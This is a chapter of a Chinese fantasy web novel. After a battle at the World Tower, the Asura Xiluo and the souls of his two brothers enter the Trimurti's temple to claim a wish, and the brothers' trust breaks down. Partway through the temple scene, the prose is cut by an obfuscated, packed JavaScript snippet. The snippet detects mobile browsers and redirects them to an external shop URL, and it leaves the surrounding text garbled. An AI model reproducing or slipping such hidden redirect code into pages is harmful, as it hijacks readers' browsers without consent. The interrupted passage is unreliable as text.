“汉巴达,最后警告,取消战斗状态,解除武装,听候三连神发落。”因陀罗须发怒张,耀眼的电光令他全身泛白,“不然就别怪我不客气了。” 巨人的嘴唇动了动,似乎说了些什么。 因陀罗一怔。 “是吗。” 汉巴达点了点头,因陀罗仿佛看到那个从来便面无表情的巨人淡淡地笑了一下。 他揉了揉眼,再定睛看去,却见对方开始缔结出明王手印。 帝释天与大威德明王的能量瞬间被推至顶点。 整个阿什提市如沐骄阳,光芒褪去后,重归黑暗。 因陀罗的防护结界消失,阿修罗无影无踪,倾斜的世界大厦浓烟滚滚,一切陷入寂静,没人知道这里曾一度成为神魔的战场。 当警方和军队开始小心翼翼地接近现场时,天已快亮了。 14. 第 14 章 这一天的阿什提市成了全世界的焦点,全球最大的军用/民用机械技术供应商世界集团总部突然遇袭,而在此之前位于阿什提附属海域上的两个人工岛也发生了大规模武装冲突——有匿名人士透露这两个私人所有的岛其真面目是毗沙门财团首脑在阿什提的府邸,消息传出,举世震惊。 如果这是真的,则表明这个传说中与各国政府、各大情报机构、跨国集团公司、国际/区域组织甚至有影响力的□□都有着千丝万缕的联系,暗中控制整个世界的毗沙门财团是确实存在的。 而毗沙门财团首脑府邸与世界集团总部先后遇袭,对方就是十五年来一直在世界各处出现,但直到现在也没弄清其来历的谜之武装机械体。 很快便有人指出,三者之间存在必然联系,已经是毋庸置疑的事实。 早上六点,全球各大媒体已经蜂拥而至,军警方将世界大厦周围五公里的立体空间进行严密封锁。 早上六点三十分,一些“阿修罗事件”的受害者团队在其众多支持者的伴随下抵达现场,要求世界集团以及政府做出具有公信力的解释,当事人情绪激动,之后更与警方发生冲突,防暴警察使用了改良型催泪瓦斯,经过半个多小时的对峙后,事态初步得到控制,阿什提市三分之一的主要干道交通瘫痪。 早上七点,世界集团在喜马万国际会议中心召开了一个简短的新闻发布会,就损失情况进行了初步评估,同时宣布阿什提的世界大厦暂停使用,世界集团将把总部临时转移到位于卡达克、迪尼亚和阿巴罗三座城市里的办公大楼,而工厂和生产线维持原状。之后的答记者问中,官方发言人拒绝回答一切与总部大楼遇袭、“阿修罗”或“毗沙门财团”有关的问题,对世界集团总裁、董事长兼行政长官因陀罗·雷的情况守口如瓶,引来各大媒体的强烈抗议,网络上有人断言世界集团这种逃避现实,拒绝将真相透明化的态度,根本就是欲盖弥彰;更有人怀疑世界集团与政府军方勾结,实际上是在进行秘密军事实验,但当状况失控时为了推卸责任,不引起民众恐慌,有意回避敏感话题,完全是在欺瞒民众。 分析家认为世界集团将面临前所未有的信任度危机,同时企业形象会受到极大负面影响,原本一路走高的股票将急转直下,连带着影响整个地区的产业链,甚至不排除在短期内引发世界范围的金融震荡。 世界集团总部遇袭后不到两小时,“World Shock”已经开始蔓延。 而至于迷雾重重的“毗沙门财团”,因为掌握的资料实在太少,那两个人工岛已经向政府申请了私人财产绝对保护法令,任凭媒体挖空心思也抠不出什么爆料。 就在众说纷纭,乃至末日论都冒出来的时候,早上八点二十六分,沉寂了数小时的世界大厦突然在绵绵阴雨中开始一点一点地恢复了电力供应。 先是莲花状的航标灯亮了起来,接着从位于最顶层的因陀罗的办公室开始一层一层地向下推进,一开始警方以为大楼里还有人,但使用生命迹象探测器后发现大楼里连一只活着的老鼠甚至蟑螂都没有——根本就是一个不折不扣的生命禁区,大楼的能源系统、冷却系统、通风系统、警备系统、紧急情况监视系统、最低生命维持系统等一系列设施,都在大楼的智能中枢重新启动后陆续恢复运行,但整座建筑物与外界的物理连接已全被切断,电子特警组和军方王牌黑客面对大楼的网络防御体系一筹莫展。 糟糕的是,世界大厦的主设计师,正是身为世界集团首脑的因陀罗·雷自己,他不露面,任何人也无法对这栋世界最高的建筑物的整体状况给出权威鉴定,然而城市建筑研究院的专家们在早上八点四十七分,也就是世界大厦自我维护恢复运转后不久,给出了一份令人恐慌的初步分析报告—— 世界大厦的D27至于D32层已经全毁,八根主框架柱无一完好,几乎等同于从底部被直接折断,也许是因为具有反重力保护装置,已经失去地面支撑的大楼现在实际上处于悬浮状态,如果完全靠内部能源系统,没人知道能维持多久,换言之随时都有彻底倒塌的可能。 专家的报告不能不慎重对待,军警双方只得将包围圈扩大,同时进一步疏散人群,以免这栋摩天大楼垮下来造成更大的伤亡。 没有比这更糟的了。 大楼的某一层中,略微倾斜的地板上,躺着一个身着白衣的男子。 电力系统恢复,天花板和墙壁泛起柔和的白光。 U172层,安全。 U171层,安全。 U170层,安全。 …… 温和的男性系统音由顶至下传递,淡绿色的光对整栋建筑物进行逐层切面扫描式检测,来到这一层时,绿光接触到了那个白衣男子时系统产生提示: 发现异生物体。 物种特征分析完毕,鉴定为阿修罗。 能量体系分析完毕,鉴定为刹帝利。 记录完毕。 绿光向下面的楼层移动,却没有发出任何关于发现阿修罗活体的警报。 白衣男子突然睁开了眼。 他直挺挺地坐起身,表情木然地环视四周。 他想站起来,却发现做不到——他的左半边躯体几近全毁。 眼中浮起一层蓝光,他悄无声息地飘了起来。 穿越走廊时,他注意到了墙上的楼层平面图,凑过去,伸出只剩下机械支架的手,在有红十字标记的地方点了一下。 依照指示,他来到医疗室,打开冷藏柜。 看到三包应急用血浆袋,男子残缺不全的脸上露出一丝笑容。 迫不及待地扯破封口,他贪婪地仰脖狂饮,暗红色的血液顺着他的嘴角流淌,染红了雪白的西装,他咬破了所有的血浆袋,随着他的吞咽,破损的机体开始自动复原,皮肤迅速再生。 他瘫倒在地不断抽搐,肢体怪异地扭曲着,他的眼睛呈现出鲜艳的翠绿色,而瞳孔则缩成了一条黑线,环伺四周的血液进入无重力状态,自行修复这个阿修罗受创的躯体,有如活物。 当脸上最后一处伤口消失后,他恢复如初,连破损的衣物都变得一尘不染,看上去整个人光鲜得体,与刚才判若两人。 调了调领带,他自言自语。 “真没想到,竟然吃了这么多苦头。” 西洛,这里是什么地方? 耳边传来一个雄浑低沉的嗓音,那是他的兄长库巴。 “这里就是传说中因陀罗在摩诃的巢穴啊。”西洛微微一笑。 那么多阿修罗全力围攻,居然还没有把这里毁掉?那帮吠舍和首陀罗也实在太无能了。 “那塔。”西洛对他的另一个兄长说,“三连神在摩诃与帝拜之间设下的结界依然能够阻止绝大部分的刹帝利和所有的婆罗门自由穿梭,能派上用场的,现在只有吠舍和首陀罗而已。” 吹牛!那罗婆那怎么说? “他的本体根本就不在摩诃。”西洛说,“也许他是通过将自己的分身附着在某个低等级的阿修罗身上来到人间的吧。” 别管这些了,既然这里是因陀罗的老窝,那干脆全毁掉好啦! 这主意不错,似乎这里的天神已经和那些阿修罗们同归于尽,没人能阻止我们了! 喂,西洛,快把身体给我,我现在手痒难耐,非大干一场不行呀! “什么时候你们做事前才会先动动脑子呢……”西洛摇头叹息。 话音刚落,一队警车从大楼外驶过,亮晃晃的探照灯打在楼身上,等引擎声过去后,西洛从阴影中走出,一脸若有所思。 这些人类有什么好怕的?随便动动手指他们就没法继续耀武扬威了。 无暇理会两个兄长的抱怨,西洛飞快地思索着。 没想到,被派来保护卡玛的居然会是四天王中最强的毗沙门天,明帝对她志在必得,看来她的来头绝对不小——说起来,他们三兄弟以刹帝利的身份与毗沙门天对峙,非但能全身而退,还让对方吃了苦头,库巴用血污染他的精神体后发动斩首之刑,就罗婆那反馈的情报来看,毗沙门天绝对不像他看起来的那样若无其事。 这些都是令人眼红的功绩,将成为他们三兄弟日后的有力资本。 按照罗婆那最后提供的信息,他离令那个女孩“真正苏醒”只有一步之遥,而束手无策的毗沙门天只得带着他的保护人前往世界大厦求助,罗婆那驱使大批阿修罗途中拦截,但因为四天王中的另一位东方持国天也在场,所以非但没占到便宜,反而被潜入那女孩精神领域的毗沙门天成功压制……最后毗沙门天的车失去控制,撞上了世界大厦。 而另一方面,因陀罗率领他的护法神,在这栋大楼里和罗婆那调遣过来的阿修罗大军对峙,但之后因陀罗似乎和某人大打出手,剧烈能量碰撞的结果是因陀罗的结界瓦解,而被波及到的阿修罗无一幸免——他们是因为紧要关头启动了刹帝利级的阿修罗护盾才逃过一劫,但仍然遭到重创。 也许他们是这里唯一幸存的阿修罗了。 无论是因陀罗,还是毗沙门天或持国天,抑或是那个与因陀罗交手的“某人”,此时却都感应不到他们的一丁点气息,这栋大楼一片死寂,难道真的同归于尽了么? 西洛觉得不该是这样。 虽说罗婆那曾经得到过梵天的恩赐,令他可以对天神之力免疫,但毕竟他的本体依然留在帝拜,如果罗婆那仅凭自己的分身,就能把帝释天、持国天和毗沙门天逼得如此狼狈,而代价仅仅是牺牲掉了涌进这座城市所有低级阿修罗而已,那么这天神三巨头也未免太弱。 毗沙门天的保护人,那女孩到底是什么身份? 罗婆那究竟让她在梦里看到了什么? 能与因陀罗势均力敌的又会是谁?现任八大婆罗门中只有幻非天在人间活动——还不是本体——难道明帝还派了其他的刹帝利到摩诃来? 西洛很快便否定了这个假设。 作为最强的战斗型天神之一,因陀罗哪怕使用天神机体,能力受到极大限制后,也不是刹帝利能应付的,在污染区地铁他们已经见识过毗沙门天的厉害,而因陀罗的实力与其不相伯仲,甚至更能打——与帝释天正面冲突的那个家伙实力远超刹帝利,却又不符合罗婆那的能量特质,那么到底会是什么来头?…… 那种有些类似阿修罗,同时又与天神迥异,具有难以言喻的威慑力,仿佛能够摧毁一切的力量…… 难道是…… “不,这不可能。”西洛连连摇头。 手下的婆罗门都尚未出手,他怎会亲临摩诃?直接找因陀罗单挑,也完全不符合他的行事风格。 什么不可能? “不,没什么。” 西洛,你到底在嘀咕些什么?我们可以走了吗?这里连只鬼都没有,真没劲! “库巴,好不容易到了这里,难道你不想瞧瞧因陀罗的巢穴里隐藏的秘密吗?”西洛笑着对他的大哥说。 嘿,这有什么好瞧,我对天神的秘密一点兴趣也没有,直接打倒他们不就好了! 西洛,有件事我不明白。 “什么事?” 毗沙门天带着那女孩来这里,是因为他对付不了罗婆那。 “嗯。” 但是,梵天给罗婆那的好处,任何天神都不能逾越,毗沙门天来找因陀罗又能怎样? “是啊,黄眼睛的家伙来这里,到底是为什么呢?”西洛自言自语。 你们两个在说什么?我一个字都听不懂。 “你连脑子里都是肌肉,本来就没人指望你思考。” 西洛,你小看我!到底有什么问题?说出来大哥立即帮你解答! “那么就请你说说看,毗沙门天为什么要带着那女孩来这里?” 他搞不定罗婆那,来这里找帮手呗!这还用说——罗婆那叫来那么多阿修罗中途堵他,不就是不想让他得手嘛! 因陀罗也是天神,就算他是天帝也奈何不了罗婆那。 那塔插嘴,库巴嗤之以鼻。 我说两个笨弟弟,你们平时都说自己聪明,觉得大哥是傻瓜,怎么现在脑筋就转不过来啦? 你说,你说。 这里有能对付罗婆那的人,毗沙门天不是来找因陀罗的,这不是很简单嘛! 胡说,帝释天和四天王都无法阻止罗婆那让那个女孩苏醒,还有谁有这么大神通? “那塔。”西洛突然开口,“若要说能对付罗婆那的人……倒也不是没有。” 他突然心跳加快,瞳孔收缩,就像发现了什么巨大的秘密,兴奋得连手指都微微颤抖起来,他的身子摇晃了一下,不得不靠向一边的墙。 能对付罗婆那,能让罗婆那都为之畏惧的存在…… 他的傻大哥库巴说得对。 毗沙门天来这里,并不是为了要找因陀罗。 雪亮的灯光扫过,警车上的扬声器嚷了起来: “大楼里有人!” 瞬间几束射灯啪啪啪地打在世界大厦的某一点上。 西洛冷笑一声,闪身离去。 卡玛的人类外表下究竟隐藏着怎样的本体; 能与因陀罗势均力敌的那个人到底是谁; 这些问题此刻都不重要。 与藏匿在这栋摩天大楼深处的那个…… 不,是那三个。 与他们相比,一切都不重要。 因为…… 西洛的脚步愈渐加快,一反平时的淡定自若,他甚至按捺不住心中狂喜,忍不住低声狂笑起来。 怎么会?……这到底是他们运气太好,还是命中注定的安排?…… 哈哈哈哈…… 不知道是数十万年,还是数百万年,或者更久远的时代,第一批被流放至帝拜的堕落者留下的传说,使得之后的阿修罗为之前仆后继,义无反顾。 有没有人成功过,他不知道,即使有,也不过是其中的千万分之一,甚至更少。 而现在,居然被他在这种场合下,撞上了这千载难逢的机会? 如果没有猜错,因陀罗和他的对手两败俱伤;毗沙门天带着斩首之刑的伤强行压制罗婆那自己也绝对不可能安然无恙;而持国天应付那么多阿修罗还受到罗婆那的侵蚀—— 根据可靠情报,四天王中只有两个降临摩诃,南方增长天和西方广目天留在须弥代替因陀罗主持大局,这也就是说…… 最强的五个护法天神,全都因为各种原因而无法履行职责。 那三个至高无上的存在正处于防御真空状态! 如果他们在摩诃的化身就待在世界集团总部,那么—— 现在谁也无法阻止他与三连神发生接触。 他将成为绝无仅有的亲眼见到三连神的阿修罗。 “梵天。” “毗湿奴。” “湿婆。” 西洛念着那三个名字。 “三连神,让我看看你们的真面目吧!” 如果有机会能实现一个愿望。 什么愿望都可以。 西洛从未想过这种事情。 成为阿修罗后,他看清了帝拜的所有规则,并想出了顺应这规则的最佳路线,无论帝拜如何权势更迭,无论谁是阿修罗王,他总能将其转化为自己的优势,当其他阿修罗还在为了地盘势力各种怨仇争得头破血流时,他和他的兄弟已一路走到今天的位置,并成为婆罗门的有力竞争者——这一切凭的都是他的智慧和力量。 但是,若有这样的机会,他当然也不会放过。 果然连老天也是眷顾他的。 能亲眼见到三连神的阿修罗,就能实现一个愿望。 什么愿望都可以。 为了这个,不计其数的阿修罗飞蛾扑火一般地涌向须弥。 毕竟在这个世界上,有些东西并不是努力变强之后就能得到的。 如果见到了三连神,他该许什么愿呢? 成为婆罗门? 完成明帝的任务后,要成为婆罗门几乎是顺理成章的事情。 那么还有什么渴望实现的愿望呢? 凭三连神的能力,只要不动摇他们对整个世界的主宰权,任何愿望都可以。 是的,任何愿望——哪怕要取代因陀罗成为须弥之王,甚至是成为三界里最有权势者也是可以实现的。 ……要不要考虑长生不老呢? 或者像罗婆那一样,从梵天那里获得赏赐,成为连帝释天和四天王都束手无策的最强阿修罗? ……如果不做阿修罗,改做天神如何?再也不用生存在弱肉强食尔虞我诈朝不保夕的帝拜,而是站在极乐净土的顶端,怜悯地看着下界卑微的万物生生灭灭,大概也是不错的感觉吧? 西洛下意识地选择向下走,他觉得三连神待在世界大厦底端的可能性更大。 那个家伙,企图接近三连神而引来了因陀罗,这是很合理的解释。 西洛?西洛! 他一心盘算着见到三连神后可能发生的种种,心不在焉,对两个哥哥的呼唤充耳不闻。 西洛!!!!———— 直到库巴忍无可忍发出一声狮子吼,他才回过神来。 “干什么这么激动?” 西洛,你简直是魂不附体呀,到底是怎么啦? 莫非那些天神开始恢复活动能力了? “不。”西洛说,“我突然找到了一个很神奇的地方,要不要来看看?” 你找到那个女孩了? 西洛笑而不语,发动瞬间移动术。 眼前一片黑暗,他的身体开始逐渐被分解。 该死的!这是怎么回事?! 起初西洛也感到恐慌,以为他的侵入触发了三连神的防御体系,但后来他才发觉并非如此。 被分解的身体仅仅保持了片刻的游离态后,便重新组合恢复原状,他仔细检查后,确认自己的机体没有发生任何变化。 眼前突然闪过无数字符和各种图像,速度远超他的视觉神经反应,集中三人全部精神力,也只能捕获到其中的一小部分。 库巴为了保护弟弟和高出自己两个头的大人打架。 兄弟三人在城市里流浪。 库巴参军,那塔加入了□□,而西洛则和其他同龄人一样在上学。 等到他们再次团聚时,库巴已经变成了一个身经百战的雇佣兵,那塔成了组织里首席杀手,而西洛获得了生物基因工程博士学位。 …… 西洛垂下眼,然而那些图像却执意钻进他的脑海中。 他被追杀,他失去了双亲,失去了爱人,他本来就快要做父亲了。 库巴和那塔杀光了所有对弟弟不利的人,包括觊觎西洛研究成果的集团公司高层,和背地里出卖了他的政府官员,以及企图逮捕他们三人的警察。 杀红了眼的两位兄长扭曲的脸在他眼前晃动。 西洛突然头疼欲裂,他抬手按着太阳穴,感到鼻腔里一股湿热在朝外涌动。 他抬起头,鼻血溅到衣领上。 为什么要让他再看到这些?那都是很久以前的事了。 那时他们兄弟三人还是人类,是这个表里不一的世界当中的一分子。 这个巨大的摩诃,同时演绎着各种命运,人们在活着的时候所经历的一切,凝聚而成的终究不过是色彩各异的一笔,无数的人留下了无数简短的痕迹,凑成了这一副永远不会完成的画卷。 他们的痛苦和仇恨,同样不过是摩诃当中不起眼的一笔。 但那却成了他们的全部。 那塔的组织不再敢收留他,在□□会议上宣布与他划清界限,失去庇佑的那塔在干掉了第十七个同行后落入了这个城市最大的□□手中,为了逼他说出西洛及其研究成果的下落,他们对那塔用了酷刑,他死的时候身上没有一块完好的骨头,他们把那塔的首级插满电线,将他的记忆电子化,经过重重破解后得到了他们想要的,然后把他的脑洗白后丢到了地下器官市场。 库巴带着他四处逃亡,一个替他更换机体的黑工泄了密,警察和□□甚至达成协议联手对付他们,事成后好处均分,西洛逃走了,而掩护弟弟的库巴几乎被射成了蜂窝,他拼了最后一口气引爆炸弹和对方三十余人一同粉身碎骨。 而他的逃亡没有持续太久。 他带着最大的怨恨与诅咒接受了黑暗仪式,赌上了自己的灵魂变成了一个阿修罗。 这就是为什么他们之后变成了一个三位一体的刹帝利——只有西洛保留了完整的身体,库巴和那塔除了灵魂外一无所有。 西洛突然有些明白了。 因为他开始看到一些他们兄弟三人成为阿修罗后的景象。 其中有一段影像是他在世界大厦里醒来走进医疗室寻找血浆——这是不到十分钟前发生的事。 这些,是他们的“现在”。 紧接着,一些杂乱无序,根本无法看清内容的影像陆续闪过。 那些,一定就是他们的“未来”了。 他突然笑了。 使用瞬间移动术进入了这个领域后,短短的数秒钟内身体被分解后重组,从“过去”到“现在”,再到“未来”,他们被彻底分析了一遍。 只有三连神才有这样的能力。 这是在见他们之前的必要程序。 大概因陀罗和四天王在进入三连神的领域时也要经过同样的分析吧——三连神会在瞬间掌握关于造访者的一切资料:身份,意图,能力,状态,前世,今生,来世,等等等等。 真不愧是三连神。 来自帝拜的刹帝利级阿修罗,库巴、那塔和西洛进入中央神庙。 视野一亮,四周一片纯白色,无法分辨地板、墙壁和天花板的界线,这个空间是有限或无限,也无从确认。 见……见鬼,西洛,这是什么地方? 西洛,你做了些什么? 西洛正要回答,身后忽然响起一个清亮的声音。 “要见他们的,就是你吧?” 他转过身,只见一个白衣银发的男孩正望着自己。 男孩看起来只有七八岁,衣着极为正式,细腻无暇的肌肤白皙如玉,在一色纯白的空间里,连影子都没有留下的他与这个地方几成一体。 “我叫迦内什。”男孩微笑着自我介绍,“那么,请随我来。” 这个小鬼哪儿冒出来?好像很有来头的样子呀——喂,西洛,我说你把我们带到这里来,到底是要做什么? “你的弟弟想见他们,所以就来这里了。”迦内什解释道。 这下连西洛也不禁有些诧异了。 这个男孩居然连库巴在想什么都知道,这实在是太不可思议了。 当他们三兄弟其中的一个获得了身体控制权,另外两个人格处于未激活状态时,哪怕是拥有“心读”能力的天神也无法探知他们的“内部交流”。 库巴显然没有料到这一茬,当即被憋得说不出话,只有那塔在愕然之余随口问了一句: “他们”是谁?…… “三连神啊。”男孩说,“你们的弟弟为了实现愿望而来——” “住口!”西洛突然大吼起来。 迦内什收住话,打量着眼前的紫发男子。 “看来你们并没有就此事达成共识。”他说,“对不起,作为一个引导程序,我的话太多了些,但是我已经闲置很久了,上一次有阿修罗造访三连神是二十一年前的事。” 男孩一边说着一边迈动脚步,当他走出第八步的时候,四周的白色突然飞速消退,他们走进了一个巨大的黑色空间,像是整个宇宙,却又不太像,男孩的步伐看似缓慢,但他们实际上的移动速度也许比光还快。无数发出白光的丝状物在朝同一个方向汇聚,这些看起来就像神经一样的东西数以亿万计,因为距离太远所以看起来细如发丝,但实际上可能每一根都和他们脚下那条“路”一样宽阔。 大概是因为太吃惊,库巴和那塔动静全无。 “绝大部分时候三连神只接受帝释天和四天王的求见,那是由萨拉斯瓦蒂引见的——她负责分析和引导来自须弥的造访者。”迦内什说,“摩诃归克里希纳,而我则处理和帝拜有关的事务。” “二十一年前,有阿修罗求见过三连神吗?”西洛问。 二十一年,不过是短短一瞬,若有阿修罗成功见到三连神并且实现了愿望,那应该是件轰动整个帝拜的大事,为何从未有人提及过?这些年来帝拜并没有特别大的变数,明帝的统治力至高无上,八大婆罗门阵容稳定,刹帝利中偶有更迭,吠舍和首陀罗之间弱肉强食,一如既往,唯一的新闻是十五年前摩诃与帝拜之间的封印略有松动,一些低级的阿修罗入侵人间,但那早已没什么好大惊小怪的了。 “是的。”迦内什答道。 西洛沉默不语。 “那个阿修罗你曾经见过。” “你说什么?” “就和你听到的一样。”迦内什忽然朝脚下指了指,“瞧,那就是我们现在所处的‘劫’。” 西洛望去,只见一朵巨大无比的莲花呈盛开姿态,通体焕发出淡红色的光,来自于较稀薄的星云,而中央较亮的部分,不知汇聚了多少个沙粒般的星系,这个莲花状的庞然巨物似乎容括了宇宙间的一切,任何事物在如此壮丽的存在前,都变得渺小细微,正如水滴与大海,沙粒与荒漠,即使太阳,也不过是浩瀚星河中的尘埃。 这朵莲花的周围,有一些黑暗的痕迹。 “那些是什么?” “是已经过去的‘劫’。”迦内什说,“这朵莲花,代表着第七个时代,它已经盛开了好几个‘劫’了,正值壮年,再过几百亿年会出现衰败之相,上千亿年后衰败之相到达极限时,三连神会通过坦达瓦决议附带迦尔基议案,将其毁灭,之后再创造新的时代——就和他们以往重复过六次的一样。” 哇咧,这个小鬼到底在说什么,我一个字都听不懂哇! 那是因为你脑子里都是肌肉,库巴。 胡说,我还是有点脑细胞的!……我不信你就能听懂。 不是完全了解……但也差不多明白是什么意思了。 西洛一定都能听懂,对吧?该死,为什么就我听不懂哇? 说过了啊。 为什么? 因为你脑子里都是肌肉。 “你的两个哥哥还真是有趣。”迦内什笑着问西洛,“就这样让他们消失,真的好吗?” 西洛的背影猛地一僵。 “你再多说一个字,我就立即杀了你。”他的脸色阴沉得可怕,“哪怕这里是三连神的地盘。” “好吧。”男孩吐了吐舌头,转移话题,“莲花中央是三界,周围是六道……” “你的话的确太多。”西洛冷冷地说,“三界也好,六道也好,那些东西与我无关,与其相比在三连神眼中恐怕任何愿望都渺小不堪——但现在我们来到了这里,就请兑现承诺吧。” “也许你误解了,刹帝利。”迦内什摊开手,“我并无轻视之意,所有的愿望,要成为世界之王;中彩票头奖;减肥成功;娶个富婆……每一个愿望都是等价的,三连神只需要直接修改相关资料就可以实现,我只是希望我的话能让你考虑清楚而已,毕竟见到三连神之后,就没有反悔的机会了。” “我没什么要考虑的。”西洛说。 “是吗?”迦内什笑了笑,“可是看起来你的两位兄长对你的意图并不了解。” “你到底想说什么?” 迦内什回头看了他一眼。 “三位一体的阿修罗,在三连神看来是三个不同的个体,明白了吗?” “……” “你们三人有同等的机会,但只能实现一个愿望——如果不是共同的愿望,那么请你们事先达成共识。”迦内什说,“我们到了。” 不计其数的白光汇聚的方位,出现了模糊的轮廓,在无限的黑暗空间中,它们似乎代表了冥冥中的“最高意志”,“存在”便是它们的意义,而由此衍生出的一切都是永恒。 进一步接近后,西洛眼前出现了三个巨影,它们是如此庞大,以至于任何事物在其面前都显得渺小,如果宇宙中有“世界之柱”这样的东西,那么仅有它们能名副其实。 天鹅、迦楼罗和公牛——这便是三连神中央系统的物理形态:天鹅象征创造神梵天,迦楼罗代表守护神毗湿奴,而公牛属于毁灭神湿婆。三界六道,所有的“劫”乃至整个时代中的一切巨细都与三连神的核心主机相连,也许一个刹那间的数据交换量,人类世界里迄今为止所有信息终端花上几个世纪也无法处理完毕。 如果我把这里毁掉会怎样?如果这个庞大精密的系统的某些地方出了点小差错,世界会变成什么样子?…… 突然接触到了原本不可企及的秘密,无所适从外只有混乱的思绪。 “毁掉这里?”迦内什笑道,“你所看到的不过是被映射在你精神层面的虚拟幻象罢了,三连神怎会将他们的本体放在充满不稳定因素的摩诃?” “……”西洛的腮帮蠕动着,他实在是讨厌极了这种被人轻易看穿,尤其对方还只是个小孩的状况,当然他很清楚,这个自称“迦内什”的男孩,能在这里出现,身份地位绝对非同寻常,也许他是湿婆的使者,或者是湿婆的化身,甚至是那位毁灭之神某种潜意识的具现体。 “至于误差嘛,当然也是存在的。”迦内什说。 “像我这样的刹帝利,趁因陀罗和四天王无法行动时闯入三连神的领域,实现愿望,也是早就在他们计算之中的?”西洛问。 “没有什么事情是他们不知道,或者预测不到的。”迦内什看了他一眼,“迦内什和祈愿者已经到达中央神庙核心,请求三连神接见。” 话音刚落,原本看上去仍遥不可及的地方被突然拉近至跟前,西洛环顾四周,发现自己已经站在了三台核心主机的顶部,脚下是一块 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17363293|199777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半径五十米的白色圆形光斑,天鹅、迦楼罗和公牛与三面环绕,就像被什么东西盯住一般,无形中的压力难以言喻,他甚至觉得自己连行动都变得困难起来,脚里像灌了铅。 突然,他的身边出现了两个人影,那居然是他的哥哥,库巴和那塔。 不知何时,迦内什已经不见了。 兄弟三人面面相觑,直到一个声音在他们耳边响起: 那么,说出你们各自的愿望吧,我将随机挑选一个令其成为现实,另外请注意,愿望的范围是有限的,超越我能力范围的愿望将无法实现,同时你们会失去当前的机会。 “随机挑选?”那塔有些疑惑。 “如果我们三人的愿望相同,那么无论如何也可以实现吧?”西洛问。 是的,如果那是你们共同的愿望,我将令其成为现实。 “我们的愿望,不一直是想要成为婆罗门吗?” “那种愿望靠我们自己就可以实现。”西洛说。 “那么你想如何?”那塔看着弟弟。 “你为什么不去问问大哥的意思?”西洛说。 “库巴,库巴!”那塔唤了两声,那巨汉愣在一旁,好半天才反应过来,抓了抓脑袋。 “哎?能实现一个愿望?那种事情你们两个商量就好啦,大哥没问题的。” “是吗。”西洛眼珠一转,瞅着那塔,“那么,那塔,你怎么说?” 看着小弟的眼神,那塔突然一激灵,心里竟没来由地咯噔了一声。 你的两个哥哥还真是有趣。 就这样让他们消失,真的好吗? 就这样让他们消失,真的好吗?…… 不知怎的,迦内什的话一遍又一遍地在他耳边回荡,那塔死死地盯着西洛,想从他的表情中找到一些什么来宽慰自己。 然而他居然非但没有得逞,反而更加恐慌。 因为西洛的表情非常柔和,他眉梢的角度和眼角的光,以及嘴唇抿成的弧线,是那塔再熟悉不过的了。 就这样让他们消失,真的好吗?…… 空有蛮力做事莽撞不动脑子的大哥,还有总是对自己颐指气使的二哥,真是越来越碍事了——很多时候如果不是因为他们两人的擅作主张,原本可以圆满解决,获得明帝大人更高的评价的。 能走到今天这一步,换成是别人来提供武力支持也是一样的吧? 婆罗门的头衔还要和他们分享么? 就这样让他们消失,真的好吗?…… 但是他们是自己的哥哥呀。 “住……住口!”那塔低吼,“不是这样的!” “那塔,你怎么了?”西洛上前扶住他的肩,“脸色很难看啊。” 可是,让他们使用自己的身体这么久,即使生前有再大的恩情,也算两讫了吧?——要知道,以灵魂状态存在的阿修罗,绝大部分还没来得及得到新的实体就会被帝拜里其他的阿修罗吞噬同化。 如果……能让他们不给自己留下任何困扰、就这样安安静静地消失,那就好了。 如果库巴和那塔消失就好了。 新的婆罗门,只有一个名字,那就是西洛,这样不是很好吗? “别碰我!”那塔猛地挥开西洛的手,“西洛,你让我起鸡皮疙瘩!” “你在慌张什么?”西洛不动声色地说,“那孩子的话,说不定正是三连神给我们的考验呢?阿修罗的愿望如果这么轻易就能实现,须弥的天神早就不堪一击了吧?” 西洛盯着那塔,压低嗓音。 “或者,其实你一直就是这样看我的?觉得我这个弟弟为了要往上爬,出于利用你们的目的才把你们的灵魂碎片拼到一起接纳进自己身体里的?” “你……” “‘弟弟的欲望,由两位兄长来帮忙达成,弟弟的野心不断膨胀,于是他的哥哥们就不得不制造更多的罪孽’……这话是谁说的来着?”西洛冷笑道,“好像说到你心里了,那塔?——其实你一直是讨厌我的吧?当我们还是人类的时候,因为我的缘故你受了那么多苦,连死后也不得安宁,还要在帝拜挣扎求存,其实你一直在恨我这个自私自利的弟弟,是吗?” “库巴!”那塔失声大叫,“西洛疯了!他已经疯了!” 然而库巴充耳不闻,似乎正陷入沉思,直到那塔用力摇晃他的肩膀才突然冒出一句: “其实……其实我……我有一个愿望。” 这个彪形大汉耷拉着脑袋,居然满脸通红,与平时杀人不眨眼的凶暴模样判若两人。 你的愿望是什么呢? “我……” “库巴!”西洛厉声喊道。 库巴看着西洛,眉头皱得老高,却什么也没说,只是一个劲地绞头发,似乎很难为情的样子。 “凭什么不让大哥说出他的愿望?”那塔怒不可遏,“从小到大什么事情我们都依着你,你惹上麻烦一句话我和大哥就为你肝脑涂地,到了帝拜……” “终于想起来向我邀功了?”西洛冷笑。 啪!—— 那塔甩出一巴掌,西洛的脸歪向一边。 “西洛,不要因为我们宠你事事让你就觉得理所当然!”那塔气得浑身发抖。 “真是奇怪。”西洛擦掉嘴角的血丝,“那个孩子一句话就引来你这么多联想,果然只有疑心重的人才能做王牌杀手吧?不相信任何人……哦,不,你宁愿相信那个才见面不到十分钟的孩子,也不愿意相信一起出生入死这么多次的弟弟?” “……” “我只不过是希望大哥能够谨慎考虑而已。”西洛淡淡地说,“机会只有一个,增加候选数量的结果是无法确定能够实现最合适的愿望,说起来发现这个机会的人是我,那塔,我不知道我到目前为止做错了什么,引来你如此敌意?” “你们都住嘴吧!”库巴终于发话了。 西洛双臂环胸不再言语,那塔情绪激动,走开一边。 “那个,神仙。”库巴问,“我可不可以随便说说?不算数的。” 一旦说出来,就会成为三个候选愿望之一。 “这样子呀……”库巴想了想,最后一跺脚,大声说,“算啦算啦!我放弃了!” “大哥!”那塔叫道。 西洛向库巴走去。 